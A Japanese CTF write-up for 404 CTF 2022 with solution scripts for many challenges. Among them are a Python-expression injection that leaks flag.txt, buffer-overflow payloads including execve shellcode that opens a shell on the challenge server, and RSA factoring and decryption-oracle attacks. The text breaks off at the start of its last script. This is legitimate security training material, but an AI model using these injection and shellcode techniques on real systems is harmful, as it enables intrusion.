404 CTF Writeup

この大会は2022/5/16 19:00(JST)~2022/6/10 19:00(JST)に開催されました。
今回は一人チームで参戦。結果は18239点で2460チーム中136位でした。
自分で解けた問題をWriteupとして書いておきます。

Bienvenue (Divers)

問題にフラグが書いてあった。

404CTF{B13nV3Nu3_Ch3Z_L3s_s3rv1C3s_s3cr3Ts!}

Discord (Divers)

Discordに入り、#annoncesチャネルの404 BOTのメッセージでマスクしてフラグが隠れていた。

404CTF{4v3z_v0vz_lv_l35_r36l3z?}

Pierre-papier-Hallebarde (Divers)

flag.txtに"abcd"と設定する。

$ python pierre-papier-hallebarde.py
Bienvenue sur pierre-papier-Hallebarde !
La pierre bat la Hallebarde, le papier bat la pierre et la Hallebarde bat le papier
Pour jouer entrez un chiffre entre 1 et 3 :
1 : pierre
2 : papier
3 : Hallebarde
Choix ?
> ord(open("flag.txt", "r").read()[0]) - 96
Vous avez choisi : pierre. L'ordinateur a choisi : papier.
Vous avez perdu...
Choix ?

1文字ずつブルートフォースで引き算をし、": "の後ろに"pierre"が表示されるものを探す。引き算したものの数値にプラス3したものの文字が該当する文字。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

flag = ''
i = 0
while True:
    for code in range(30, 124):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('challenge.404ctf.fr', 30806))

        inp = 'ord(open("flag.txt", "r").read()[%d]) - %d' % (i, code)
        data = recvuntil(s, b'> ')
        print(data + inp)
        s.sendall(inp.encode() + b'\n')
        data = recvuntil(s, b'\n')
        print(data)
        s.close()
        if 'invalide' not in data and 'pierre' in data:
            flag += chr(code + 3)
            break

    if flag[-1] == '}':
        break

    i += 1

print(flag)

実行結果は以下の通り。

        :
Bienvenue sur pierre-papier-Hallebarde !
La pierre bat la Hallebarde, le papier bat la pierre et la Hallebarde bat le papier
Pour jouer entrez un chiffre entre 1 et 3 :
1 : pierre
2 : papier
3 : Hallebarde
Choix ?
> ord(open("flag.txt", "r").read()[30]) - 120
Choix invalide. Vous avez perdu

Bienvenue sur pierre-papier-Hallebarde !
La pierre bat la Hallebarde, le papier bat la pierre et la Hallebarde bat le papier
Pour jouer entrez un chiffre entre 1 et 3 :
1 : pierre
2 : papier
3 : Hallebarde
Choix ?
> ord(open("flag.txt", "r").read()[30]) - 121
Choix invalide. Vous avez perdu

Bienvenue sur pierre-papier-Hallebarde !
La pierre bat la Hallebarde, le papier bat la pierre et la Hallebarde bat le papier
Pour jouer entrez un chiffre entre 1 et 3 :
1 : pierre
2 : papier
3 : Hallebarde
Choix ?
> ord(open("flag.txt", "r").read()[30]) - 122
Vous avez choisi : Hallebarde. L'ordinateur a choisi : pierre.

404CTF{cH0iX_nUm3r0_4_v1c701r3}
404CTF{cH0iX_nUm3r0_4_v1c701r3}

Equipement désuet (Renseignement en sources ouvertes)

画像検索すると、minitelであることがわかる。以下のURLのページを確認すると、サービス終了日がわかった。

https://ja.wikipedia.org/wiki/%E3%83%9F%E3%83%8B%E3%83%86%E3%83%AB#:~:text=%E3%83%9F%E3%83%8B%E3%83%86%E3%83%AB%20(Minitel)%20%E3%81%AF%E3%80%81%E3%83%95%E3%83%A9%E3%83%B3%E3%82%B9,(Teletel)%20%E7%AB%AF%E6%9C%AB%E3%81%AE%E5%90%8D%E7%A7%B0%E3%80%82
2012年6月30日
404CTF{30_06_2012}

Compression (Programmation)

何重にも圧縮しているファイルを解凍していく。flag1.tar.bz2を解凍すると、flag.txtが展開され、フラグが書かれていた。

#!/usr/bin/env python3
import tarfile

fname = 'flag2500.tar.gz'

for i in range(2500, 0, -1):
    with tarfile.open(fname) as tar:
        fname = tar.getmembers()[0].name
        tar.extractall()
404CTF{C0mPr3Ssi0n_m4X1m4L3_m41S_p4S_3ff1C4c3}

Découpé (Programmation)

576個のpng画像があるので、24x24の正方形に結合する。QRコードになるので、読み取る。

#!/usr/bin/env python3
from PIL import Image

CELL_SIZE = 33
COUNT = 24
SIZE = CELL_SIZE * COUNT
output_img = Image.new('RGB', (SIZE, SIZE), (255, 255, 255))

for y in range(COUNT):
    for x in range(COUNT):
        index = x + y * COUNT
        fname = 'output/%d.png' % (index + 1)
        img = Image.open(fname).convert('RGB')
        output_img.paste(img, (x * CELL_SIZE, y * CELL_SIZE))

output_img.save('flag.png')

404CTF{M4n1PuL4T10N_d'1M4g3S_F4c1L3_n0N?}

Trop facile (Exploitation de binaires)

$ file compromis 
compromis: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=1fbd2c6fc0db74a8b50ba3ca17eae059e4b74c27, for GNU/Linux 4.4.0, not stripped

BOFでcheckとkeyの値を設定する。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('challenge.404ctf.fr', 32458)
else:
    p = process('./compromis')

payload = b'A' * 40
payload += p32(0xdeadbeef)
payload += p32(0xcafebebe)

print(payload)
p.sendline(payload)
data = p.recvline().rstrip().decode()
print(data)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to challenge.404ctf.fr on port 32458: Done
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde\xbe\xbe\xfe\xca'
Bon retour à la Hallebarde, agent!
[*] Switching to interactive mode

$ ls
compromis
flag.txt
$ cat flag.txt
404CTF{C_7r0P_F4C113_D3_PWN_14_H411384rD3}
404CTF{C_7r0P_F4C113_D3_PWN_14_H411384rD3}

Sans protection (Exploitation de binaires)

$ file fragile 
fragile: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6a457609506482cdebb144dbacd9c1f6fba34955, stripped

Ghidraでデコンパイルする。

undefined8 FUN_00400607(void)

{
  char local_48 [64];
  
  setvbuf(stdout,(char *)0x0,2,0);
  puts(&DAT_004006f8);
  printf("Cadeau : %p\n",local_48);
  gets(local_48);
  return 0;
}

bufferの先頭にshellcodeを置き、そのアドレスをreturnアドレスの位置に書き込む。

#/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('challenge.404ctf.fr', 31720)
else:
    p = process('./fragile')

data = p.recvline().rstrip().decode()
print(data)
data = p.recvline().rstrip().decode()
print(data)
buf_addr = int(data.split(' ')[-1], 16)

shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

payload = shellcode
payload += b'A' * (64 - len(shellcode))
payload += b'B' * 8
payload += p64(buf_addr)

p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to challenge.404ctf.fr on port 31720: Done
Montrez-nous de quoi vous êtes capable !
Cadeau : 0x7ffe204c0600
[*] Switching to interactive mode
$ ls
flag.txt
fragile
$ cat flag.txt
404CTF{V0U5_3735_Pr37_P0Ur_14_Pr0CH41N3_M15510N}
404CTF{V0U5_3735_Pr37_P0Ur_14_Pr0CH41N3_M15510N}

Mot de passe ? (Rétro-ingénierie)

http://www.javadecompilers.com/デコンパイルする。

// 
// Decompiled by Procyon v0.5.36
// 

package chall;

import java.util.Scanner;

public class Mdp
{
    public static void main(final String[] array) {
        final String s = "4/2@PAu<+ViNgg%^5NS`#J\u001fNK<XNW(_";
        final Scanner scanner = new Scanner(System.in);
        System.out.print("Mot de passe Admin:");
        if (s.equals(hide(scanner.nextLine()))) {
            System.out.println("Bienvenue Admin");
        }
        else {
            System.out.println("Au revoir non admin");
        }
    }
    
    static String hide(final String s) {
        String s2 = "";
        for (char index = '\0'; index < s.length(); ++index) {
            s2 = invokedynamic(makeConcatWithConstants:(Ljava/lang/String;C)Ljava/lang/String;, s2, (char)((char)(s.charAt(index) - index) % '\u0080'));
        }
        return s2;
    }
}

"4/2@PAu<+ViNgg%^5NS`#J\u001fNK

#!/usr/bin/env python3
s = '4/2@PAu<+ViNgg%^5NS`#J\u001fNK<XNW(_'

flag = ''
for i in range(len(s)):
    flag += chr(ord(s[i]) + i)
print(flag)
404CTF{C3_sYst3mE_es7_5ecUrisE}

Renverse la tour ! [1/2] (Rétro-ingénierie)

逆算していけばよい。

#!/usr/bin/env python3

def rev_tour1(password):
    return ''.join([c for c in password])[::-1]

def rev_tour2(password):
    return password[::2]

def rev_tour3(password):
    mdp =['l', 'x', 'i', 'b', 'i', 'i', 'q', 'u', 'd', 'v', 'a', 'v', 'b', 'n', 'l', 'v', 'v', 'l', 'g', 'z', 'q', 'g', 'i', 'u', 'd', 'u', 'd', 'j', 'o', 'r', 'y', 'r', 'u', 'a']
    for i in range(len(password)):
        mdp[i], mdp[len(password) - i -1 ] = chr(ord(password[len(password) - i -1 ]) - i % 4),  chr(ord(password[i]) - i % 4)
    return "".join(mdp)

enc = '¡P6¨sÉU1T0d¸VÊvçu©6RÈx¨4xFw5'

enc = rev_tour3(enc)
enc = rev_tour2(enc)
enc = rev_tour1(enc)
flag = '404CTF{%s}' % enc
print(flag)
404CTF{P4sS1R0bUst3Qu3C4}

Mise à jour requise (Rétro-ingénierie)

逆算していけばよい。

#!/usr/bin/python3
import random as rd

def a(c, r=True):
    n = ord(c)
    if r: rd.seed(n)
    match n:
        case 0:
            return dict.fromkeys(range(10), 0)
        case _:
            return (d:=a(chr(n - 1), False)) | {(m:=rd.randint(0, 9)): d[m] + rd.randint(0,2)}

def rev_shuffle(l, n):
    try_l = list(range(len(l)))
    rd.seed(n)
    rd.shuffle(try_l)
    return [l[try_l.index(i)] for i in range(len(l))]

s = [16, 3, 12, 9, 1, 60, 1, 3, 14, 39, 13, 16, 16, 1, 9, 13, 3, 39, 60,
    16, 16, 1, 60, 7, 39, 13, 3, 13, 18, 3, 13, 25, 14, 3, 1, 14, 60,
    13, 32, 13, 3, 39, 16, 18, 18, 3, 43, 16, 18, 3, 1, 43, 18, 16,
    13, 16, 1, 3, 1, 16, 13, 18, 60, 16, 3, 3, 14, 18, 13, 14, 16, 18,
    7, 3, 7, 25, 7, 7, 13, 13, 13, 3, 60, 1, 3, 13, 1, 25, 18, 16, 32,
    16, 60, 1, 7, 44, 18, 39, 39, 39, 60, 3, 1, 60, 3, 16, 13, 13, 14,
    1, 3, 39, 39, 31, 32, 39, 32, 18, 39, 3, 13, 32, 60, 7, 7, 39, 14,
    3, 18, 14, 60, 39, 18, 7, 1, 32, 13, 3, 14, 39, 39, 7, 1, 1, 13,
    29, 60, 13, 39, 14, 14, 16, 60, 1, 3, 44, 14, 3, 1, 1, 1, 39, 13,
    14, 39, 18, 3, 7, 13, 39, 32, 1, 43, 1, 16, 1, 3, 18, 14, 25, 32,
    7, 13, 39, 7, 1, 3, 60, 13, 13, 7, 18, 1, 3, 18, 1, 60, 7, 1, 39,
    14, 3, 39, 7, 31, 1, 7, 18, 7, 32, 3, 3, 14, 32, 14, 1, 32, 12,
    18, 31, 39, 1, 13, 13, 43, 44, 32, 3, 32, 60, 14, 60, 60, 7, 3, 1,
    3, 3, 14, 1, 60, 16, 44, 3, 1, 32, 13, 5, 16, 39, 3, 60, 7, 14, 3,
    13, 7, 31, 13, 39, 9, 3, 44, 13, 16, 14, 18, 18, 3, 7, 3, 3, 3, 7,
    3, 3, 16, 39, 3, 3, 13, 32, 13, 3, 18, 7, 10, 3, 18, 1, 7, 7, 18,
    13, 43, 18, 3, 32, 39, 32, 13, 1, 18, 10, 1, 32, 1, 16, 32, 3, 44,
    3, 18, 1, 1, 1, 16, 18, 25, 60, 1, 39, 1, 18, 60, 16, 1, 7, 3, 13,
    16, 18, 39, 14, 7, 14, 3, 14, 13, 7, 16, 10, 18, 13, 3, 16, 13, 3,
    32, 43, 13, 14, 1, 13, 1, 14, 18, 60, 7, 3, 7, 31, 1, 18, 26, 7,
    3, 3, 32, 1, 7, 18, 7, 1, 16, 18, 39, 14, 7, 3
]

res_b = []
for n in range(len(s)):
    rd.seed(s[n])
    res_b.append(rd.randint(0, 30))

length = len(s) // 10

flag = ''
for i in range(length):
    res_b_before = rev_shuffle(res_b, 2**i)
    res_a = res_b_before[:10]
    res_b = res_b_before[10:]
    for code in range(32, 127):
        if list(a(chr(code)).values()) == res_a:
            flag += chr(code)
            break

print(flag)
404CTF{M3RC1_PY7H0N3.10_P0UR_L3_M47CH}

Renverse la tour ! [2/2] (Rétro-ingénierie)

Pythonアセンブリをコードに起こすと、以下のようになる。

#!/usr/bin/env python3
def main():
    inp = input()

    s = True
    n = ''
    p = ''
    f = [88, 1, 140, 1, 203, 208, 89, 207, 132, 191, 178, 110, 138, 132, 210, 1, 140, 156, 138, 140, 191, 187, 89, 89, 187, 1, 208, 231, 161, 235, 178, 188, 187, 132, 187]

    if inp == '':
        print('Nope')
        return s

    for k in range(len(inp)):
        n += inp[int(len(inp) - k - 1)]

    d = [159, 44, 176, 145, 103, 133, 49, 97, 113, 136, 184, 60, 85, 69, 64, 186, 182, 37, 56, 170, 19, 108, 152, 183, 41, 197, 252, 77, 35, 127, 198, 43, 148, 48, 46, 62, 15, 139, 95, 9, 38, 73, 160, 175, 226, 254, 129, 211, 132, 7, 90, 208, 187, 164, 158, 201, 116, 93, 54, 87, 126, 128, 16, 50, 244, 12, 4, 188, 166, 59, 235, 28, 199, 92, 216, 192, 231, 51, 61, 39, 220, 180, 204, 210, 178, 75, 17, 91, 143, 94, 34, 70, 222, 125, 131, 195, 33, 223, 242, 156, 232, 140, 67, 24, 111, 141, 162, 66, 45, 207, 138, 202, 89, 122, 191, 1, 110, 203, 241, 196, 82, 72, 76, 161, 117, 88, 105, 147, 119, 6, 157, 249, 168, 81, 32, 224, 237, 5, 146, 27, 80, 57, 42, 102, 172, 219, 114, 8, 31, 26, 238, 30, 212, 106, 221, 240, 118, 149, 165, 65, 83, 154, 151, 96, 36, 253, 250, 100, 74, 21, 189, 169, 239, 142, 173, 217, 181, 86, 29, 68, 155, 115, 225, 135, 0, 130, 101, 112, 206, 185, 227, 245, 18, 58, 243, 137, 20, 99, 3, 2, 233, 22, 55, 11, 13, 214, 84, 200, 47, 190, 205, 209, 53, 194, 229, 171, 248, 230, 109, 234, 236, 98, 213, 247, 150, 104, 79, 134, 71, 144, 25, 218, 107, 179, 124, 167, 251, 14, 78, 193, 40, 163, 123, 10, 246, 120, 23, 174, 63, 153, 228, 52, 121, 177, 215]

    for i in range(len(inp)):
        p += chr(d[int(ord(n[i]))])

    for j in range(len(f)):
        if f[j] != ord(p[j]):
            print('Nope !')
            return s
    return s

このコードから以下の条件を満たすinpを求める必要がある。

条件:inpの逆順の各文字のASCIIコードをインデックスとしたdの値がfと同じになる。
#!/usr/bin/env python3
f = [88, 1, 140, 1, 203, 208, 89, 207, 132, 191, 178, 110, 138, 132, 210, 1, 140, 156, 138, 140, 191, 187, 89, 89, 187, 1, 208, 231, 161, 235, 178, 188, 187, 132, 187]
d = [159, 44, 176, 145, 103, 133, 49, 97, 113, 136, 184, 60, 85, 69, 64, 186, 182, 37, 56, 170, 19, 108, 152, 183, 41, 197, 252, 77, 35, 127, 198, 43, 148, 48, 46, 62, 15, 139, 95, 9, 38, 73, 160, 175, 226, 254, 129, 211, 132, 7, 90, 208, 187, 164, 158, 201, 116, 93, 54, 87, 126, 128, 16, 50, 244, 12, 4, 188, 166, 59, 235, 28, 199, 92, 216, 192, 231, 51, 61, 39, 220, 180, 204, 210, 178, 75, 17, 91, 143, 94, 34, 70, 222, 125, 131, 195, 33, 223, 242, 156, 232, 140, 67, 24, 111, 141, 162, 66, 45, 207, 138, 202, 89, 122, 191, 1, 110, 203, 241, 196, 82, 72, 76, 161, 117, 88, 105, 147, 119, 6, 157, 249, 168, 81, 32, 224, 237, 5, 146, 27, 80, 57, 42, 102, 172, 219, 114, 8, 31, 26, 238, 30, 212, 106, 221, 240, 118, 149, 165, 65, 83, 154, 151, 96, 36, 253, 250, 100, 74, 21, 189, 169, 239, 142, 173, 217, 181, 86, 29, 68, 155, 115, 225, 135, 0, 130, 101, 112, 206, 185, 227, 245, 18, 58, 243, 137, 20, 99, 3, 2, 233, 22, 55, 11, 13, 214, 84, 200, 47, 190, 205, 209, 53, 194, 229, 171, 248, 230, 109, 234, 236, 98, 213, 247, 150, 104, 79, 134, 71, 144, 25, 218, 107, 179, 124, 167, 251, 14, 78, 193, 40, 163, 123, 10, 246, 120, 23, 174, 63, 153, 228, 52, 121, 177, 215]

flag = ''
for c in f:
    flag = chr(d.index(c)) + flag
print(flag)
404CTF{L3s4pp4rencesS0ntTr0mp3uses}

Floppy (Analyse forensique)

FTK Imagerで開くと、[roor]直下に削除ファイルとしてIMG_0003.jpgがあるので、エクスポートする。
エクスポートした画像にフラグが書いてあった。

404CTF{@v3z_v0vz_z0rt1_135_p0ub3ll35}

Ping Pong (Analyse forensique)

ICMPのデータの長さをASCIIコードとしてデコードする。

#!/usr/bin/env python3
from scapy.all import *

packets = rdpcap('ping.pcapng')

flag = ''
for p in packets:
    if p[ICMP].type == 8:
        l = len(p[Raw].load)
        flag += chr(l)

print(flag)
404CTF{Un_p1ng_p0ng_p4s_si_1nn0c3nt}

Un agent compromis [1/3] (Analyse forensique)

httpでフィルタリングする。No.25721のパケットから、exfiltration.pyをエクスポートする。このコード中にフラグが書いてあった。

404CTF{t3l3ch4rg3m3n7_b1z4rr3}

Un agent compromis [2/3] (Analyse forensique)

DNS問い合わせで、以下の間で.hallebarde.404ctf.frの形式で問い合わせしている。

・never-gonna-give-you-up.hallebarde.404ctf.fr
・626567696E.hallebarde.404ctf.fr

この間からfilenameを取得し、ソートする。

#!/usr/bin/env python3
from scapy.all import *

packets = rdpcap('capture-reseau.pcapng')

fileFlag = False
files = []
for p in packets:
    if p.haslayer(IP) and p[IP].dst == '192.168.122.1':
        qname = p[DNSQR].qname.decode()
        if qname == 'never-gonna-give-you-up.hallebarde.404ctf.fr.':
            fileFlag = True
        elif qname == '626567696E.hallebarde.404ctf.fr.':
            fileFlag = False
        elif fileFlag:
            files.append(bytes.fromhex(qname.split('.')[0]).decode())

files.sort()
flag = '404CTF{%s}' % ','.join(files)
print(flag)
404CTF{exfiltration.py,flag.txt,hallebarde.png,super-secret.pdf}

SOS RAID [1/2] (Analyse forensique)

disk0.imgとdisk1.imgのXORでdisk2.imgを作成する。1バイトずつ、2つのディスクのデータを拾っていくと、diskを復旧できる。

with open('disk0.img', 'rb') as f:
    disk0 = f.read()

with open('disk1.img', 'rb') as f:
    disk1 = f.read()

disk2 = b''
for i in range(len(disk0)):
    disk2 += bytes([disk0[i] ^ disk1[i]])

with open('disk2.img', 'wb') as f:
    f.write(disk2)

disk = b''
p = 2
for i in range(len(disk0)):
    if p != 0: disk += bytes([disk0[i]])
    if p != 1: disk += bytes([disk1[i]])
    if p != 2: disk += bytes([disk2[i]])
    p = (p - 1) % 3

with open('disk.img', 'wb') as f:
    f.write(disk)

展開すると、flag.txtが抽出でき、フラグが書いてあった。

404CTF{RAID_5_3st_p4s_tr3s_c0mpl1qu3_1abe46685ecf}

SOS RAID [2/2] (Analyse forensique)

flag_c0rr_pt3d.pngも見つかっているが、壊れているので、修復する。

0x0005-0x0006 00 00 -> 0a 1a
0x000a        ff    -> 00
0xf19e        ad    -> 00

あとは高さが異なっているので、CRCが合うものをブルートーフォースで探す。

import struct
import binascii

with open('flag_c0rr_pt3d_fix.png', 'rb') as f:
    data = f.read()

head = data[:16]
tail = data[33:]
orig_crc = data[29:33]

w = 1152
for h in range(1, 1024):
    width = struct.pack('>I', w)
    height = struct.pack('>I', h)
    ihdr = b'IHDR' + width + height + b'\x08\x06\x00\x00\x00'
    crc = struct.pack('!I', binascii.crc32(ihdr))
    if crc == orig_crc:
        out = head + width + height
        out += b'\x08\x06\x00\x00\x00'
        out += crc + tail

        fname = 'flag_c0rr_pt3d_fix2.png'
        with open(fname, 'wb') as f:
            f.write(out)
            break

復元すると、画像にフラグが書いてあった。

404CTF{L4_C0rr_pt10N_s3_r_p4r_}

Hackllebarde ransomware [1/4]

172.17.0.2宛の通信のTCPのflagsの値にPDFが1バイトずつ流れていると推測できる。結合しPDFを復元すると、フラグが書かれていた。

#!/usr/bin/env python3
from scapy.all import *

packets = rdpcap('ransomware1.pcapng')

data = b''
for p in packets:
    if p.haslayer(TCP) and p[IP].dst=='172.17.0.2':
        data += bytes([int(p[TCP].flags)])

with open('flag.pdf', 'wb') as f:
    f.write(data)
404CTF{L3s_fL4gS_TCP_Pr1S_3n_fL4G}

La plume à la main (Stéganographie)

各行の先頭の文字を縦に読む。

V1v3_l4_Fr4nc3_l1br3
404CTF{V1v3_l4_Fr4nc3_l1br3}

PNG Un logo obèse [1/4] (Stéganographie)

pngの後ろにzipがくっついているので、切り出す。切り出したzipを展開すると、pngが展開され、画像にフラグが書いてあった。

404CTF{0b3z3_f1l3_h4z_zup3r_spy_s3cr37}

PNG Drôles de chimères [2/4] (Stéganographie)

IHDRチャンクが2つ入っている。またsTeGチャンクが入っている。最初のIHDRチャンクとsTeGチャンクを削除すると、画像にフラグが書いてあった。

404CTF{7h47_v1c10us_m1zzing_z19natur3}

PNG Toujours obèse [3/4] (Stéganographie)

$ zsteg stage3.png 
extradata:imagedata .. file: PNG image data, 800 x 600, 8-bit/color RGBA, non-interlaced
    00000000: 89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
    00000010: 00 00 03 20 00 00 02 58  08 06 00 00 00 9a 76 82  |... ...X......v.|
    00000020: 70 00 00 00 06 62 4b 47  44 00 ff 00 ff 00 ff a0  |p....bKGD.......|
    00000030: bd a7 93 00 00 00 09 70  48 59 73 00 00 0b 13 00  |.......pHYs.....|
    00000040: 00 0b 13 01 00 9a 9c 18  00 00 20 00 49 44 41 54  |.......... .IDAT|
    00000050: 78 9c ec bd 07 7c 94 55  f6 ff 7f 9f 36 bd 65 52  |x....|.U....6.eR|
    00000060: 29 16 5c 65 15 cb 8a 80  14 81 d0 7b 0b 21 d4 d0  |).\e.......{.!..|
    00000070: 23 bd 23 5d 0c 58 16 5d  5d 45 d7 b2 ac ba 76 44  |#.#].X.]]E....vD|
    00000080: c0 8e 5d d7 45 29 02 21  09 a4 87 40 12 4a 20 21  |..].E).!...@.J !|
    00000090: 99 64 fa cc 53 7f e7 3c  33 41 77 7f bf ff eb ff  |.d..S..<3Aw.....|
    000000a0: ad e2 ae f7 8d c7 fb d4  99 e7 99 cc dc b9 9f 39  |...............9|
    000000b0: f7 9c c3 10 0a 85 42 a1  50 28 14 0a 85 42 f9 99  |......B.P(...B..|
    000000c0: 60 ae f6 05 50 28 14 0a  85 42 a1 50 28 14 0a 85  |`...P(...B.P(...|
    000000d0: 42 a1 50 28 14 0a 85 42  a1 fc 8f c3 5d ed 0b a0  |B.P(...B....]...|
    000000e0: 50 28 14 0a 85 42 a1 50  28 bf 1e e8 14 2c 0a 85  |P(...B.P(....,..|
    000000f0: 42 a1 50 28 14 0a 85 f2  b3 c1 5e ed 0b a0 50 28  |B.P(......^...P(|
imagedata           .. text: "z!!!\t112"

$ zsteg stage3.png -e extradata:imagedata > flag.png


画像にフラグが書いてあった。

404CTF{z71ll_0b3z3_&_st1ll_h4d_s3cr3tz_4_U}

Un RSA incassable? (Cryptanalyse)

nを素因数分解する。

$ python -m primefac 264260849184973464982616810011189432725471679851535970549752992980013685427054130834600835230399904802462965456974947538318213223585436360002292504595152950137188712696208597449140460215140901426523911789537180980494972189978839047835537352914856104135490608512555869141766081593589643441958443651294711541856201978508340915671607277979591968248058399795168563294090427290234733756922544755667413890558324220843460177193246018531280862561066074120654752753002311679435459237771670352371010596105395795940209523309781850979927988566194373203050532192192865140293356042897510103979797577385050030819647066037181
264260849184973464982616810011189432725471679851535970549752992980013685427054130834600835230399904802462965456974947538318213223585436360002292504595152950137188712696208597449140460215140901426523911789537180980494972189978839047835537352914856104135490608512555869141766081593589643441958443651294711541856201978508340915671607277979591968248058399795168563294090427290234733756922544755667413890558324220843460177193246018531280862561066074120654752753002311679435459237771670352371010596105395795940209523309781850979927988566194373203050532192192865140293356042897510103979797577385050030819647066037181: 4023565787 2900891821 3560494649 3585015977 2908514743 2379443669 3132223999 3166178749 3837412127 2462984113 3103669319 2547151627 3356051399 2436205657 2880934613 4157125969 2879122817 4242244397 3729776389 3667357531 2778293267 2199478601 3563338969 2155535293 3976581139 2911937201 3939808331 3889812197 3222160589 2778911501 2389392361 2686629157 4254782471 2738125309 3426525181 4277613239 2339050229 2800829821 2322429719 2966345311 2295459937 3223685581 2917907323 3184079849 3806038133 4236657239 3206428061 2898630157 2635311961 3232212233 4168849637 4249725811 3892296953 3103875457 3921428509 3706613399 2886660797 3867368123 2516886503 4106593759 3581219329 4103248031 4191669737 2952780151

Multi-Prime RSA暗号の問題。あとは通常通り復号する。

#!/usr/bin/python3
from Crypto.Util.number import *

n = 264260849184973464982616810011189432725471679851535970549752992980013685427054130834600835230399904802462965456974947538318213223585436360002292504595152950137188712696208597449140460215140901426523911789537180980494972189978839047835537352914856104135490608512555869141766081593589643441958443651294711541856201978508340915671607277979591968248058399795168563294090427290234733756922544755667413890558324220843460177193246018531280862561066074120654752753002311679435459237771670352371010596105395795940209523309781850979927988566194373203050532192192865140293356042897510103979797577385050030819647066037181
e = 65537
c = 40110232492214007673187408092050413824057587648366839143339482691859337096033351102276645395275735274322548715598894335826499267358923539936373981416212599523632227239475760261528220077888121552688286380591552417803111794635687206274867498165659330678667435332328065173075710535404048653621228158847748005294255562046654937629633514846123655978199420228460405580305729253303227936760801772396770804796700223239015341586701669475537453700175448572495847377417335800300005252499067811919833639526361733535793115856365357616339193637149185654816751038389408567777725988888990153670326115611236718811592564298263

ps = [4023565787, 2900891821, 3560494649, 3585015977, 2908514743, 2379443669, 3132223999, 3166178749, 3837412127, 2462984113, 3103669319, 2547151627, 3356051399, 2436205657, 2880934613, 4157125969, 2879122817, 4242244397, 3729776389, 3667357531, 2778293267, 2199478601, 3563338969, 2155535293, 3976581139, 2911937201, 3939808331, 3889812197, 3222160589, 2778911501, 2389392361, 2686629157, 4254782471, 2738125309, 3426525181, 4277613239, 2339050229, 2800829821, 2322429719, 2966345311, 2295459937, 3223685581, 2917907323, 3184079849, 3806038133, 4236657239, 3206428061, 2898630157, 2635311961, 3232212233, 4168849637, 4249725811, 3892296953, 3103875457, 3921428509, 3706613399, 2886660797, 3867368123, 2516886503, 4106593759, 3581219329, 4103248031, 4191669737, 2952780151]

phi = 1
for p in ps:
    phi *= p - 1
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
404CTF{F41t35_4tt3t10n5_4v3c_l3_R54}

Un simple oracle [1/2] (Cryptanalyse)

$ nc challenge.404ctf.fr 32128
Voici le message secret que je dois garder. Vous pouvez le voir, de toute façon vous ne pourrez rien en faire!
1334960178210525694688990772016659323182798373720923275444192244832199975303109108870617396034588633826039920556079309726326947356370909361396560329787357430125467722159694346165619532942286095450373569601541133335649968079912386236878747087842906900080967699847930435163800319988975532888944560203990200593599547454946977315151126985735308809869979511216495914411441362955902533636190229816012309753960235576511019285664554753886936373138838320824448620021560124251072458646989739389711345844948266996748299519181955914020265923772355969197935482344894659493652005300099222167482042264976768629382128184834311867932
J'en profite également pour noter quelques informations ici: 
N = 24691919315233473339480698649952756841730958631435003079890199121249261707118960378807398691379982168666196022200549209801013650556394444257575985152839377971417733784810051100018319466610545725247629706794221520443282405045549391126733399837695288108740892878378894783204334625711973024734649078104364668309738909302024125078800609709277638542658832822122082388400668538484009866358032614884330797025136886457047402965126741076265916829815785885906628940057387253640330420469832594056844893002288992816253549692910652852906259844707063883087652376798279797962342818020213484233674267032725841722083623005225135457673
e = 65537

Ceci étant dit, passons à ce que vous vouliez me dire!

> 1334960178210525694688990772016659323182798373720923275444192244832199975303109108870617396034588633826039920556079309726326947356370909361396560329787357430125467722159694346165619532942286095450373569601541133335649968079912386236878747087842906900080967699847930435163800319988975532888944560203990200593599547454946977315151126985735308809869979511216495914411441362955902533636190229816012309753960235576511019285664554753886936373138838320824448620021560124251072458646989739389711345844948266996748299519181955914020265923772355969197935482344894659493652005300099222167482042264976768629382128184834311867932
Je refuse de répondre à ceci

> 1
Voici ma réponse:
1

> 2
Voici ma réponse:
24496106346394372333487710097296881711525506309108723300552691087196355296339422012602465776276884834837394099628100167825775929457115758580351984304892717143774780178282549463792187122210046371073941293229013300695353778524749982933079758747250732045870760215476541406569995827676155562666899194632095039619397546319826556577463679979837441832937372490604244439226347257322075045559408860766545178172861950681413060597589632367457831631961433273342023502227163672778626443757081373007501447612298723644261415615229173106016295864501225148427501439476421608007602662807635477696041904680832378179699817615230429005163

>>> N = 24691919315233473339480698649952756841730958631435003079890199121249261707118960378807398691379982168666196022200549209801013650556394444257575985152839377971417733784810051100018319466610545725247629706794221520443282405045549391126733399837695288108740892878378894783204334625711973024734649078104364668309738909302024125078800609709277638542658832822122082388400668538484009866358032614884330797025136886457047402965126741076265916829815785885906628940057387253640330420469832594056844893002288992816253549692910652852906259844707063883087652376798279797962342818020213484233674267032725841722083623005225135457673
>>> e = 65537
>>> m = 24496106346394372333487710097296881711525506309108723300552691087196355296339422012602465776276884834837394099628100167825775929457115758580351984304892717143774780178282549463792187122210046371073941293229013300695353778524749982933079758747250732045870760215476541406569995827676155562666899194632095039619397546319826556577463679979837441832937372490604244439226347257322075045559408860766545178172861950681413060597589632367457831631961433273342023502227163672778626443757081373007501447612298723644261415615229173106016295864501225148427501439476421608007602662807635477696041904680832378179699817615230429005163
>>> pow(m, e, N)
2

指定したものを復号できる。提示された暗号を2つの積にして、それぞれの復号結果の積を算出すれば、提示された暗号を復号できる。

#!/usr/bin/env python3
import socket
